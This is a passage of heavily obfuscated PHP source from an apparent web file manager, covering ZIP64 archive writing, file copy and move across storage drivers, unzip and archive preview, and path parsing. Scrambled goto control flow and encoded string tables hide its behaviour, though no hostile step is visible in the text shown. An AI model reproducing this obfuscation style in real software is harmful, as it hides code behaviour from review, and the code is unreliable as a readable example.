array($a޷Ʈ[1989], strlen($b)), array($a޷Ʈ[1989], 0), array($a޷Ʈ[1989], 0), array($a޷Ʈ[1988], 32), array($a޷Ʈ[1988], 4294967295)); $fߘ = array(array($a޷Ʈ[1989], 1), array($a޷Ʈ[1989], 28), array($a޷Ʈ[1990], $Dܫħ), array($a޷Ʈ[1990], $c), array($a޷Ʈ[1990], $Bȍ҃), array($a޷Ʈ[1988], 0)); goto dЈ͊; f: $this->send($F؉); $this->cdr_ofs += strlen($F؉); goto AҚ; A󶈠ї: $a޷Ʈ =& $_SERVER[ֹ]; list($eҚ, $bݷ, $D츼, $c, $Dܫħ, $Bȍ҃) = $B˼; $b = $a޷Ʈ[33]; goto a; AҚ: } protected function addCdr64Eof() { goto b«; b«: $e =& $_SERVER[ֹ]; $f͑ = count($this->files); $eόϋ = $this->cdr_ofs; goto fá; Aͷ: $this->send($F); goto AӘ; fá: $e׊ = $this->ofs; $bۗއ = array(array($e[1988], static::ZIP64_CDR_EOF_SIGNATURE), array($e[1990], 44), array($e[1989], static::ZIP_VERSION_64), array($e[1989], static::ZIP_VERSION_64), array($e[1988], 0), array($e[1988], 0), array($e[1990], $f͑), array($e[1990], $f͑), array($e[1990], $eόϋ), array($e[1990], $e׊)); $F = $this->packFields($bۗއ); goto Aͷ; AӘ: } protected function addCdr64Locator() { goto c; c: $Eۑ =& $_SERVER[ֹ]; $B = count($this->files); $E = $this->cdr_ofs; goto bʏ; d: $this->send($Fdz); goto Aij; bʏ: $a = $this->ofs; $fԂ˻ = array(array($Eۑ[1988], static::ZIP64_CDR_LOCATOR_SIGNATURE), array($Eۑ[1988], 0), array($Eۑ[1990], $a + $E), array($Eۑ[1988], 1)); $Fdz = $this->packFields($fԂ˻); goto d; Aij: } protected function addCdrEof() { goto cœ; D⮤: $c = $this->ofs; $d߳ = $Cγ[33]; $b“ = array(array($Cγ[1988], static::CDR_EOF_SIGNATURE), array($Cγ[1989], 0), array($Cγ[1989], 0), array($Cγ[1989], $c«), array($Cγ[1989], $c«), array($Cγ[1988], 4294967295), array($Cγ[1988], 4294967295), array($Cγ[1989], strlen($d߳))); goto fۖ; fۖ: $F = $this->packFields($b“) . $d߳; $this->send($F); goto F; cœ: $Cγ =& $_SERVER[ֹ]; $c« = count($this->files); $cҔ = $this->cdr_ofs; goto D⮤; F: } protected function addCdr() { foreach ($this->files as $cҪ) { $this->addCdrFile($cҪ); } $this->addCdrEof(); } protected function clear() { $this->files = array(); $this->ofs = 0; $this->cdr_ofs = 0; } protected function sendHttpHeaders() { $b =& $_SERVER[ֹ]; $bݷ = $b[198]; if ($this->outputName) { $A攥 = trim(str_replace(array($b[112], $b[55], $b[93], $b[67], $b[213], $b[986]), $b[33], $this->outputName)); $Eڋ = rawurlencode($A攥); $bݷ .= "\73\x20\x66\151\x6c\x65\x6e\141\x6d\145\52\x3d\165\164\146\x2d\x38\47\x27{$Eڋ}"; } $a = array($b[195] => $b[1991], $b[1992] => $bݷ, $b[1993] => $b[1994], $b[1995] => $b[1996], $b[1997] => $b[1998]); foreach ($a as $D => $Eݩ) { header($D . $b[876] . $Eݩ); } } protected function send($a) { if ($this->needHeaders) { $this->sendHttpHeaders(); } $this->needHeaders = !1; fwrite($this->outputStream, $a); } protected final function dosTime($B) { $B =& $_SERVER[ֹ]; $Cۑݑ = getdate($B); if ($Cۑݑ[$B[1701]] < 1980) { $Cۑݑ = array($B[1701] => 1980, $B[1999] => 1, $B[2000] => 1, $B[2001] => 0, $B[2002] => 0, $B[2003] => 0); } $Cۑݑ[$B[1701]] -= 1980; return $Cۑݑ[$B[1701]] << 25 | $Cۑݑ[$B[1999]] << 21 | $Cۑݑ[$B[2000]] << 16 | $Cۑݑ[$B[2001]] << 11 | $Cۑݑ[$B[2002]] << 5 | $Cۑݑ[$B[2003]] >> 1; } protected function packFields($cţڮ) { $c񮄐 =& $_SERVER[ֹ]; $D۷؛ = $c񮄐[33]; $d = array(); foreach ($cţڮ as $D) { $D۷؛ .= $D[0]; $d[] = $D[1]; } array_unshift($d, $D۷؛); return call_user_func_array($c񮄐[2004], $d); } protected function filterFilename($A褱) { $E˪ =& $_SERVER[ֹ]; return str_replace(array($E˪[93], $E˪[4], $E˪[172], $E˪[69], $E˪[112], $E˪[921], $E˪[924], $E˪[267]), $E˪[70], $A褱); } } goto Eğ; F: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($D, $E) { $dɃ = self::driverMake($E[0]); if (method_exists($dɃ, $D)) { return @call_user_func_array(array($dɃ, $D), $E); } if (method_exists($dɃ, $_SERVER[ֹ][991])) { return @call_user_func_array(array($dɃ, $D), $E); } else { if (method_exists(self, $D)) { return @call_user_func_array(array(self, $D), $E); } else { call_user_func_array(array(parent, $D), $E); } } } public static function init($b) { return self::driverMake($b); } public static function copy($B俎, $eٙ, $d䚼ϋ = false, $d㧇 = false) { return self::copyMove($B俎, $eٙ, $d䚼ϋ, $_SERVER[ֹ][486], $d㧇); } public static function move($b񑏎, $aԞ, $B = false, $C = false) { return self::copyMove($b񑏎, $aԞ, $B, $_SERVER[ֹ][488], $C); } public static function saveFile($CĨ, $A웝, $F߆ = true) { goto B; B퓳蓴: $cԭղ = $E->pathFather($A웝); $cҹٵ = !0; if (!$F߆ && self::driverIsSame($fˇ֚, $E)) { $cҹٵ = !1; } goto c; fɳ: $E = self::driverMake($A웝); $c܊ = !1; if ($E->pathParse[$a[992]]) { $c = $E->pathParse[$a[992]]; $c܊ = $E; $E = self::driverMake($c); } goto B퓳蓴; B: $a =& $_SERVER[ֹ]; $d垠 = self::info($A웝); $fˇ֚ = self::driverMake($CĨ); goto fɳ; c: $EȎ = self::copyFile($fˇ֚, $CĨ, $E, $cԭղ, $d垠[$a[28]], $cҹٵ); if ($c܊) { $EȎ = $c܊->getPathOuter($EȎ); } return $EȎ; goto d澧; d澧: } private static function copyMove($D߾, $F, $fʨ, $Aೄ, $c֕ = false) { goto dڷ; Aɟތ: Hook::trigger($f[72], $dϩ, $D߾, $E, $F); $B֐ = self::driverIsSame($dϩ, $E); if ($B֐) { if ($Aೄ == $f[488] && trim($F, $f[8]) == trim($E->pathFather($D߾), $f[8])) { return $E->getPathOuter($D߾); } if (method_exists($E, $Aೄ)) { return $E->{$Aೄ}($D߾, $F, $fʨ); } } goto Aۅ; a⑓ϧ: $dϩ = self::driverMake($D߾); $E = self::driverMake($F); $fῷ = $Aೄ == $f[488]; goto aяߴ; dڷ: $f =& $_SERVER[ֹ]; if (!$D߾ || $D߾ == $f[8] || !$F) { return !1; } ignore_timeout(); goto a⑓ϧ; Aۅ: $CՂ = $dϩ->isFile($D߾); if (!$CՂ && $E->getType() == $f[691] && $dϩ->getType() == $f[101]) { $fńΨ = $E->copyFolderFromIO($dϩ, $D߾, $F, $fʨ, $fῷ, $c֕); } else { $fńΨ = self::copyPath($dϩ, $D߾, $E, $F, $fʨ, $fῷ, $CՂ, $c֕); } if ($fńΨ && $fῷ) { $dϩ->remove($D߾); } goto E; aяߴ: $Eѷ͢ = !1; if ($E->pathParse[$f[992]]) { $F = $E->pathParse[$f[992]]; $Eѷ͢ = $E; $E = self::driverMake($F); } self::check($dϩ, $D߾, $E, $F); goto Aɟތ; E: if ($Eѷ͢) { $fńΨ = $Eѷ͢->getPathOuter($fńΨ); } return $fńΨ; goto b; b: } private static function check($e쥢, $Bʚ, $d˓, &$a󽍱) { $E =& $_SERVER[ֹ]; if (self::driverIsSame($e쥢, $d˓) && $e쥢->isFolder($Bʚ) && $e쥢->isParentOf($Bʚ, $a󽍱)) { show_json(LNG($E[993]), !1); } if (!$e쥢->exist($Bʚ)) { show_json(LNG($E[100]), !1); } } private static function copyPath($Eɾױ, $A, $aϸ, $Dז, $F馓, $cۋװž, $aէߨ, $e򐳙Ϲ = false) { goto c; eᣋ: if ($aէߨ) { return self::copyFile($Eɾױ, $A, $aϸ, $Dז, $b, $cۋװž); } if ($F馓 == REPEAT_RENAME_FOLDER) { $F馓 = !1; } $A켙 = rtrim($Dז, $fǪ[8]) . $fǪ[8] . $b; goto C݅١; C݅١: $eսݍ = $aϸ->mkdir($aϸ->getPath($A켙)); $Dז = $aϸ->getPathInner($eսݍ); $EȲ = $Eɾױ->listPath($A, !0); goto d; d: $Aɼ = array_merge($EȲ[$fǪ[73]], $EȲ[$fǪ[74]]); foreach ($Aɼ as $f弈) { $e = $f弈[$fǪ[29]] == $fǪ[163]; $A = $Eɾױ->getPathInner($f弈[$fǪ[75]]); $b嚔 = self::copyPath($Eɾױ, $A, $aϸ, $Dז, $F馓, $cۋװž, $e); if (!$b嚔) { write_log($fǪ[994] . $A . $fǪ[995] . $Dז, $fǪ[996]); } } return $eսݍ; goto Fޛ; c: $fǪ =& $_SERVER[ֹ]; $b = $e򐳙Ϲ ? $e򐳙Ϲ : $Eɾױ->getPathName($Eɾױ->pathThis($A)); if ($F馓) { $fˊ = $aϸ->fileNameExist($Dז, $b); $b = $aϸ->fileNameAuto($Dז, $b, $F馓, !$aէߨ); $F馓 = $fˊ ? $F馓 : !1; } goto eᣋ; Fޛ: } private static function copyFile($b˜, $cȅ, $B, $Cҩ, $C菆, $c׉ծ) { goto B̨; A: $AК = $b˜->iconvApp($AК); $a졺ق = $B->upload($Cҩ, $AК, $c׉ծ); self::remove($f . $A); goto FӲ; FӲ: Hook::trigger($Bؒ[999], $b˜, $cȅ, $B, $Cҩ, $C菆, $a졺ق); return $a졺ق; goto c˚ԟ; B̨: $Bؒ =& $_SERVER[ֹ]; $Cҩ = $B->getPath(rtrim($Cҩ, $Bؒ[8]) . $Bؒ[8] . $C菆); $A = $Bؒ[997] . time() . rand_string(5); goto EƐ; f: mk_dir($f); $AК = $f . $A; $AК = $b˜->download($cȅ, $AК); goto A; EƐ: Hook::trigger($Bؒ[998], $b˜, $cȅ, $B, $Cҩ, $C菆, $A); if (self::driverIsSame($b˜, $B)) { if ($c׉ծ) { $a졺ق = $B->moveFile($cȅ, $Cҩ); } else { $a졺ق = $B->copyFile($cȅ, $Cҩ); } Hook::trigger($Bؒ[999], $b˜, $cȅ, $B, $Cҩ, $C菆, $a졺ق); return $a졺ق; } $f = TEMP_FILES; goto f; c˚ԟ: } public static function pathFather($Fӯ) { $Aݥ༅ = IO::init($Fӯ); $f = $Aݥ༅->pathFather($Aݥ༅->path); return $Aݥ༅->getPathOuter($f); } public static function fileOut($d, $Bʴ = false, $Fǽ = false, $e = '') { $b = self::driverMake($d); if ($b->isFileOutServer()) { return $b->fileOutServer($d, $Bʴ, $Fǽ, $e); } return $b->fileOut($d, $Bʴ, $Fǽ, $e); } public static function fileOutImage($bˑ, $c͑ = 250) { $fꧮ = array(250, 600, 1200, 3000); for ($c닼 = 0; $c닼 < count($fꧮ); $c닼++) { if ($c닼 == 0 && $c͑ <= $fꧮ[$c닼]) { $c͑ = $fꧮ[$c닼]; break; } else { if ($c͑ > $fꧮ[$c닼 - 1] && $c͑ <= $fꧮ[$c닼]) { $c͑ = $fꧮ[$c닼]; break; } else { if ($c닼 == count($fꧮ) - 1 && $c͑ > $fꧮ[$c닼]) { $c͑ = $fꧮ[$c닼]; break; } } } } $FɴՃ = self::driverMake($bˑ); if ($FɴՃ->isFileOutServer()) { return $FɴՃ->fileOutImageServer($bˑ, $c͑); } return $FɴՃ->fileOutImage($bˑ, $c͑); } private static function driverIsSame($A污ɍ, $FҔ) { goto E솜; FֶNJ: if ($A污ɍ->pathDriver == $FҔ->pathDriver) { return !0; } return !1; goto c; Eܔɞ: if ($e͞ != $fӞ) { return !1; } if ($e͞ == $Eי[691]) { return !0; } if ($e͞ == $Eי[101]) { return !0; } goto FֶNJ; E솜: $Eי =& $_SERVER[ֹ]; $e͞ = $A污ɍ->getType(); $fӞ = $FҔ->getType(); goto Eܔɞ; c: } public static function copyUpdate($E, $D⾬) { goto Fɪ; D覲җ: $e = self::_listAll($E); $CȎբ = self::_listAll($D⾬); $FӲ = array(); goto Dʑ; Dʑ: $f = array(); foreach ($e as $cߪ => $Fԃ) { if (isset($CȎբ[$cߪ])) { if ($Fԃ[$c[76]] == 1) { continue; } if ($CȎբ[$cߪ][$c[77]] == $Fԃ[$c[77]]) { continue; } } if ($Fԃ[$c[76]] == 1) { $f[] = $D⾬ . $c[8] . $cߪ; continue; } $C˚ = strstr(trim($cߪ, $c[8]), $c[8]) ? get_path_father($cߪ) : $c[33]; $FӲ[] = array($c[1000] => $Fԃ[$c[75]], $c[1001] => rtrim($D⾬, $c[8]) . $c[8] . $C˚, $c[1002] => $Fԃ); } $c뇈Γǐ = array($c[163] => $FӲ, $c[76] => $f); goto A؞; Fɪ: $c =& $_SERVER[ֹ]; if (!IO::exist($E)) { return !1; } if (!IO::exist($D⾬)) { IO::mkdir($D⾬); } goto D覲җ; A؞: Hook::trigger($c[1003], $E, $D⾬, $c뇈Γǐ); foreach ($f as $Fԃ) { IO::mkdir($Fԃ); } foreach ($FӲ as $Fԃ) { IO::copy($Fԃ[$c[1000]], $Fԃ[$c[1001]], REPEAT_REPLACE); } goto c; c: } private static function _listAll($Dꆠ) { $Eݿ =& $_SERVER[ֹ]; $Dꆠ = KodIO::clear($Dꆠ); $dɔ = IO::listAll($Dꆠ); foreach ($dɔ as &$C⇚Œ) { $e = substr($C⇚Œ[$Eݿ[75]], strlen($Dꆠ)); $C⇚Œ[$Eݿ[1004]] = trim($e, $Eݿ[8]); } return array_to_keyvalue($dɔ, $Eݿ[1004]); } public static function fileSubstr($E·, $B, $a񚾝 = false) { goto dٻ; BȏАÔ: $cӛǍ = $a񚾝; if ($B < 0) { $B = $c̩ + $B; } if ($a񚾝 === !1) { $a񚾝 = $c̩ - $B; } goto b唫; b唫: if ($B + $a񚾝 > $c̩) { $a񚾝 = $c̩ - $B; } if ($a񚾝 <= 0) { return $_SERVER[ֹ][33]; } if ($B < 0 || $B >= $c̩ || $a񚾝 > 1024 * 1024 * 5) { throw new Exception("\x66\151\154\x65\122\145\141\x64\x20\x65\162\162\157\x72\x21\x20\x73\164\141\x72\x74\x3d{$B}\x3b\154\145\156\x67\x74\150\x3d{$a񚾝}\x3b\40\163\x69\x7a\145\x3d{$c̩}\x3b"); } goto e; dٻ: $e = self::driverMake($E·); $c̩ = $e->size($E·); $d = $B; goto BȏАÔ; e: return $e->fileSubstr($E·, $B, $a񚾝); goto e; e: } private static function driverMake(&$c) { goto A; b曉: return $C; goto B鴆; Bճ: if ($Bǎ[$b[29]] == KodIO::KOD_IO && !self::$driverListSystem[$Bǎ[$b[363]]]) { return !1; } $c = $Bǎ[$b[1005]]; $C = self::driverGet($Bǎ, $c); goto b曉; A: $b =& $_SERVER[ֹ]; $Bǎ = KodIO::parse($c); if (!self::$driverListSystem) { $a˦ = Model($b[701])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($a˦, $b[363]); } goto Bճ; B鴆: } private static function driverGet($Eѡؔ, &$e) { goto Fԛ; Dʆ: switch ($Eѡؔ[$d[29]]) { case KodIO::KOD_IO: $f԰ = self::$driverListSystem[$A۳]; break; case KodIO::KOD_SOURCE: $e = $A۳ . $e; $f԰ = array($d[1007] => $d[1008], $d[6] => $Eѡؔ); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $dቱ = $GLOBALS[$d[1009]]; self::$driverListUser = array_to_keyvalue($dቱ, $d[363]); } $f԰ = self::$driverListUser[$A۳]; break; case KodIO::KOD_SHARE_LINK: $f԰ = array($d[1007] => $d[1010], $d[6] => $Eѡؔ); $e = Action($d[1011])->sharePathInfo($Eѡؔ[$d[75]]); $e = $e[$d[365]]; if (!$e[$d[365]]) { $Cзޱ = Model($d[532])->getInfo($e[$d[437]]); $e = KodIO::clear($Cзޱ[$d[1012]] . $Eѡؔ[$d[1005]]); $Eѡؔ[$d[435]] = $Cзޱ; $Eѡؔ[$d[992]] = $e; $f԰ = array($d[1007] => $d[1013], $d[6] => $Eѡؔ); } break; case KodIO::KOD_SHARE_ITEM: $f԰ = array($d[1007] => $d[1014], $d[6] => $Eѡؔ); $Cзޱ = Model($d[532])->getInfo($Eѡؔ[$d[363]]); if ($Cзޱ[$d[365]] == $d[464]) { $e = KodIO::clear($Cзޱ[$d[1012]] . $Eѡؔ[$d[1005]]); $Eѡؔ[$d[435]] = $Cзޱ; $Eѡؔ[$d[992]] = $e; $f԰ = array($d[1007] => $d[1015], $d[6] => $Eѡؔ); } break; default: $e = $Eѡؔ[$d[75]]; $f԰ = array($d[1007] => $d[1016]); break; } $aʪ = $Eѡؔ[$d[75]]; if (!isset(self::$driverCache[$aʪ])) { $f߬ = strtolower($f԰[$d[90]]); $Cʤ = $GLOBALS[$d[6]][$d[84]][$d[1017]]; $Dڨ = $d[71] . (isset($Cʤ[$f߬]) ? $Cʤ[$f߬] : ucfirst($f߬)); if (!class_exists($Dڨ)) { show_json("{$Dڨ}\x20\156\157\x74\x20\x65\x78\151\163\164\x73\x21", !1); } $B = isset($f԰[$d[6]]) ? $f԰[$d[6]] : !1; self::$driverCache[$aʪ] = new $Dڨ($B); } goto b쓐ƺ; f䕳: $cߴ->path = $e; return $cߴ; goto Dý; Fԛ: $d =& $_SERVER[ֹ]; $fʏ = $Eѡؔ[$d[1006]]; $A۳ = $Eѡؔ[$d[363]]; goto Dʆ; b쓐ƺ: $cߴ = self::$driverCache[$aʪ]; $cߴ->pathDriver = $fʏ; $cߴ->pathBase = $d[33]; goto c։; c։: if (isset($f԰[$d[6]][$d[1018]])) { $cߴ->pathBase = rtrim($f԰[$d[6]][$d[1018]], $d[8]) . $d[8]; $e = $cߴ->pathBase . ltrim($e, $d[8]); } $e = $cߴ->getPath($e); if (isset($Eѡؔ[$d[992]])) { $e = $Eѡؔ[$d[992]]; } goto f䕳; Dý: } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $b; if (!$b) { $b㣘 = IO::init($_SERVER[ֹ][8]); } return $b㣘; } private static function iconvSystem($B) { return self::local()->iconvSystem($B); } private static function iconvApp($c׍) { return self::local()->iconvApp($c׍); } public static function zip($cɝ, $c鎠 = "\x7a\151\160", $C = '', $Eٛ = REPEAT_RENAME) { goto d谥; cɠ: $Dž = $c . $aں . $EƗ[91] . $c鎠; $Dž = get_filename_auto($Dž, $EƗ[33], $Eٛ); $a␞ = self::iconvSystem($Dž); goto Fᚪ; Fᚪ: foreach ($EӋ as $cܞʇ => $aڅ) { $EӋ[$cܞʇ] = self::iconvSystem($aڅ); } KodArchive::create($a␞, $EӋ); if (!IO::exist($Dž)) { if ($C򯑍) { del_dir($C򯑍); } show_json(LNG($EƗ[1021]), !1); } goto bΑ; A: $C򯑍 = !1; if (!$C && $E،킃->getType() == $EƗ[101]) { $EӋ = self::zipFileList($cɝ); } else { $C򯑍 = $C ? $C : TEMP_FILES . $EƗ[1019] . time() . rand_string(8) . $EƗ[8]; mk_dir($C򯑍); $EӋ = self::zipFileList($cɝ, $C򯑍); } $aں = $bв[$EƗ[28]]; goto e˘й; bΑ: if ($C || !$C򯑍) { if ($C򯑍 && strstr($C򯑍, TEMP_FILES)) { $E뙲 = $EӋ = array(); recursion_dir($c, $E뙲, $EӋ, 0); foreach ($E뙲 as $AΊ) { del_dir($AΊ); } foreach ($EӋ as $Cۺ) { if ($Cۺ == $a␞) { continue; } del_file($Cۺ); } } return $Dž; } $d۲ = self::pathFather($bв[$EƗ[75]]); $Eͪ = self::move($Dž, $d۲, $Eٛ); goto C; C: if (!$Eͪ) { del_dir($C򯑍); show_json(LNG($EƗ[1021]), !1); } del_dir($C򯑍); return $Eͪ; goto fǬ; e˘й: if (count($EӋ) > 1) { $cƈ = IO::info(IO::pathFather($bв[$EƗ[75]])); $aں = $cƈ[$EƗ[28]]; } $c = $C򯑍; if (!$c) { $c = get_path_father($bв[$EƗ[75]]); $fʞ = IO::info($c); if (!$fʞ[$EƗ[185]]) { show_json(LNG($EƗ[1020]), !1); } } goto cɠ; d谥: $EƗ =& $_SERVER[ֹ]; $E،킃 = self::init($cɝ[0][$EƗ[75]]); $bв = self::info($cɝ[0][$EƗ[75]]); goto A; fǬ: } public static function unzip($fՄ, $e = "\x72\x65\160\x6c\x61\143\x65") { goto E; b: mk_dir($e); $F쟮 = self::fileExt($dޜ); $a = $e . $BȄ[91] . $F쟮; goto d; E: $BȄ =& $_SERVER[ֹ]; $dȼ = $fՄ[$BȄ[75]]; $c = $fՄ[$BȄ[1022]]; goto eʎ; a晉: Hook::trigger($BȄ[1029], $e); recursion_dir($e, $d߆, $b, 0); $f瑛 = array_merge($d߆, $b); goto ELj; eʎ: if (!($dޜ = parent::info($dȼ))) { show_json(LNG($BȄ[1023]), !1); } if (!($B = parent::infoFull($c))) { $c = parent::mkdir($c); $B = array($BȄ[75] => $c); } else { if (isset($B[$BȄ[365]]) && trim($B[$BȄ[75]], $BȄ[8]) != trim($c, $BȄ[8])) { $E⒈ = KodIO::make($B[$BȄ[457]]); $f = parent::fileNameAuto($E⒈, $B[$BȄ[28]], REPEAT_RENAME_FOLDER, !0); $c = parent::mkdir($E⒈ . $f); $B = array($BȄ[75] => $c); } } $c = $B[$BȄ[75]]; goto e˺׭; Aء: $Bȏ = KodArchive::extract($a, $e . $BȄ[8], $Eʻ); self::archiveExt(); if (!$Bȏ[$BȄ[1026]]) { show_json($BȄ[1027] . $Bȏ[$BȄ[1028]], !1); } goto a晉; Aش: return !0; goto D掕; ELj: foreach ($f瑛 as $e) { $e = self::iconvApp($e); self::move($e, $c, $e); } del_dir($e); if (!$dۇ) { del_file($a); } goto Aش; d: if (!@file_exists(self::iconvSystem($a))) { $dۇ = self::localFilePath($dȼ, $F쟮); $a = $dۇ ? $dۇ : parent::download($dȼ, $a); } $a = self::iconvSystem($a); $Eʻ = isset($fՄ[$BȄ[1024]]) ? $fՄ[$BȄ[1024]] : $BȄ[1025]; goto Aء; e˺׭: $eڋ = self::tmpFileName($dޜ); $e = TEMP_FILES . $eڋ; del_dir($e); goto b; D掕: } public static function unzipList($b) { goto Eޠ; e⠠: $Dֺًȇ = json_encode($bٝ͵[$Cѹ[1028]]); self::setContent($a϶, $Dֺًȇ); if (count($bٝ͵[$Cѹ[1028]]) >= $d՚) { show_json(sprintf(LNG($Cѹ[1032]), count($bٝ͵[$Cѹ[1028]])), !1); } goto cڅ; f: $d՚ = 50000; if (request_url_safe($bݍ)) { $B = parse_url_query($bݍ); if (!isset($B[$Cѹ[75]])) { show_json($Cѹ[1031], !1); } } $B = isset($B) ? $B[$Cѹ[75]] : $bݍ; goto Dé; Dé: $e = self::info($B); $C釯 = self::fileExt($e); $F𢄺 = self::tmpFileName($e); goto f߇; f˞: $F = self::iconvSystem($F); if ($fč >= 0) { $bٔ = isset($b[$Cѹ[1034]]) ? $b[$Cѹ[1034]] : !1; $e = isset($b[$Cѹ[28]]) ? $b[$Cѹ[28]] : $Cѹ[33]; KodArchive::filePreview($F, $fč, $bٔ, $e); self::archiveExt(); die; } $bٝ͵ = KodArchive::listContent($F); goto d; d: self::archiveExt(); del_dir($C֚); if (!$bٝ͵[$Cѹ[1026]]) { show_json($bٝ͵[$Cѹ[1028]], !1); } goto e⠠; Eޠ: $Cѹ =& $_SERVER[ֹ]; $bݍ = $b[$Cѹ[75]]; $fč = isset($b[$Cѹ[1030]]) ? $b[$Cѹ[1030]] : -1; goto f; aҐ: if (!is_dir($C֚)) { mk_dir($C֚); } $F = $C֚ . $Cѹ[8] . $F쵅; if (!@file_exists(self::iconvSystem($F))) { if (isset($B)) { url_request($bݍ, $Cѹ[1033], $F); } else { $Bټݻ = self::localFilePath($bݍ, $C釯); $F = $Bټݻ ? $Bټݻ : self::download($bݍ, $F); } } goto f˞; cڅ: return $bٝ͵[$Cѹ[1028]]; goto b; f߇: if (isset($B)) { $aբ = array($B[$Cѹ[75]], $B[$Cѹ[1030]], $B[$Cѹ[28]]); $F쵅 = md5(implode($Cѹ[70], $aբ)) . $Cѹ[91] . get_path_ext($B[$Cѹ[28]]); } else { $aբ = array($e[$Cѹ[28]], $e[$Cѹ[75]], $e[$Cѹ[77]]); $F쵅 = md5(implode($Cѹ[70], $aբ)) . $Cѹ[91] . $C釯; } if ($fč == -1) { $a϶ = IO_PATH_SYSTEM_TEMP . "\172\x69\x70\126\x69\x65\x77\x2f{$F𢄺}\57{$F쵅}\56\x6c\x6f\x67"; $a = self::infoFull($a϶); if ($a) { $a϶ = $a[$Cѹ[75]]; $Dۂ = self::getContent($a϶); if ($Dۂ) { $Dֺًȇ = json_decode($Dۂ, !0); if (count($Dֺًȇ) >= $d՚) { show_json(sprintf(LNG($Cѹ[1032]), count($Dֺًȇ)), !1); } return $Dֺًȇ; } } else { $a϶ = self::mkfile($a϶); } } $C֚ = TEMP_FILES . $F𢄺; goto aҐ; b: } private static function fileExt($f) { $bݪ =& $_SERVER[ֹ]; $F腜ܓ = $f[$bݪ[156]]; if ($F腜ܓ == $bݪ[1035]) { $eČÛ = $bݪ[1036]; if (substr($f[$bݪ[28]], -strlen($eČÛ)) == $eČÛ) { $F腜ܓ = $bݪ[1037]; } } self::archiveExt($F腜ܓ); return $F腜ܓ; } private static function zipFileList($C՝, $a蓼 = false) { $cǰ =& $_SERVER[ֹ]; $c = array(); foreach ($C՝ as $e) { $f“ = $e[$cǰ[75]]; if ($a蓼) { $f“ = self::copy($e[$cǰ[75]], $a蓼, $cǰ[741]); } if ($f“ && self::local()->exist($f“)) { $c[$e[$cǰ[75]]] = $f“; } } if (!empty($c)) { return array_values($c); } show_json(LNG($cǰ[1038]), !1); } public static function tmpFileName($C) { $Cȅ =& $_SERVER[ֹ]; $cد = array($C[$Cȅ[28]], $C[$Cȅ[75]], $C[$Cȅ[77]], $C[$Cȅ[455]]); return md5(implode($Cȅ[70], $cد)); } private static function localFilePath($f, $E) { goto FҞ; C: if ($C؎ == $c[101] || $C؎ == $c[1042]) { if (!$d鄅☛->exist($d鄅☛->path)) { show_json(LNG($c[100]), !1); } return $d鄅☛->path; } return !1; goto aܠ; FҞ: $c =& $_SERVER[ֹ]; if ($E == $c[1039] && strtoupper(substr(PHP_OS, 0, 3)) == $c[1040]) { return !1; } $e = KodIO::parse($f); goto B띊; B띊: if ($e[$c[29]] == KodIO::KOD_SOURCE) { $fے = Model($c[749])->fileInfoGet(KodIO::sourceID($f)); if (!$fے[$c[75]]) { show_json($c[1041], !1); } $f = $fے[$c[75]]; } $d鄅☛ = self::init($f); $C؎ = $d鄅☛->getType(); goto C; aܠ: } private static function archiveExt($a񹙙 = '') { $GLOBALS[$_SERVER[ֹ][1043]] = $a񹙙; } } class KodIO { const KOD_SOURCE = "\x7b\x73\x6f\x75\162\x63\x65\175"; const KOD_USER_RECYCLE = "\x7b\165\163\145\162\x52\x65\x63\171\143\154\145\x7d"; const KOD_USER_FAV = "\x7b\x75\163\145\x72\x46\141\166\x7d"; const KOD_USER_FILE_TAG = "\x7b\165\163\x65\x72\106\x69\154\x65\124\x61\147\x7d"; const KOD_USER_FILE_TYPE = "\x7b\x75\x73\145\162\x46\151\x6c\145\124\x79\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\173\x67\x72\x6f\165\x70\122\x6f\x6f\x74\123\x65\154\146\x7d"; const KOD_USER_SHARE = "\x7b\x75\x73\x65\162\123\150\141\162\x65\x7d"; const KOD_USER_SHARE_LINK = "\x7b\165\163\x65\x72\x53\150\141\162\145\x4c\x69\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\x7b\163\150\x61\x72\145\124\157\115\145\175"; const KOD_SHARE_ITEM = "\x7b\x73\150\x61\162\145\111\164\145\x6d\175"; const KOD_SHARE_LINK = "\x7b\x73\x68\x61\162\145\x49\164\x65\155\x4c\x69\156\x6b\175"; const KOD_SEARCH = "\x7b\163\145\x61\162\143\150\175"; const KOD_BLOCK = "\173\142\x6c\157\x63\x6b\x7d"; const KOD_IO = "\173\x69\x6f\175"; const KOD_USER_RECENT = "\x7b\x75\163\145\x72\122\145\x6e\x63\145\x6e\164\175"; const KOD_USER_DRIVER = "\x7b\x64\162\151\x76\x65\x72\175"; public static function typeList() { $aݨ =& $_SERVER[ֹ]; return array($aݨ[1044] => self::KOD_SOURCE, $aݨ[1045] => self::KOD_USER_RECYCLE, $aݨ[1046] => self::KOD_USER_FAV, $aݨ[1047] => self::KOD_USER_FILE_TAG, $aݨ[1048] => self::KOD_USER_FILE_TYPE, $aݨ[1049] => self::KOD_GROUP_ROOT_SELF, $aݨ[1050] => self::KOD_USER_SHARE, $aݨ[1051] => self::KOD_USER_SHARE_LINK, $aݨ[1052] => self::KOD_USER_SHARE_TO_ME, $aݨ[1053] => self::KOD_SHARE_ITEM, $aݨ[1054] => self::KOD_SHARE_LINK, $aݨ[1055] => self::KOD_SEARCH, $aݨ[1056] => self::KOD_BLOCK, $aݨ[1057] => self::KOD_IO, $aݨ[1058] => self::KOD_USER_RECENT, $aݨ[1059] => self::KOD_USER_DRIVER); } public static function parse($Aۦ) { goto a; a: $Fײڷ =& $_SERVER[ֹ]; $Aۦ = self::clear($Aۦ); $dײ = array_values(self::typeList()); goto eڜ犖; EȖ: $E = array($Fײڷ[33], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $F[$Fײڷ[1064]] = in_array($F[$Fײڷ[29]], $E); return $F; goto eгĒ; eڜ犖: preg_match($Fײڷ[1060], $Aۦ, $fꊙ); $F = array($Fײڷ[384] => !1, $Fײڷ[1061] => !1, $Fײڷ[381] => !1, $Fײڷ[75] => $Aۦ, $Fײڷ[1006] => !1, $Fײڷ[1005] => $Fײڷ[33]); if (is_array($fꊙ) && count($fꊙ) == 5) { $Cパ = $Fײڷ[1062] . $fꊙ[2] . 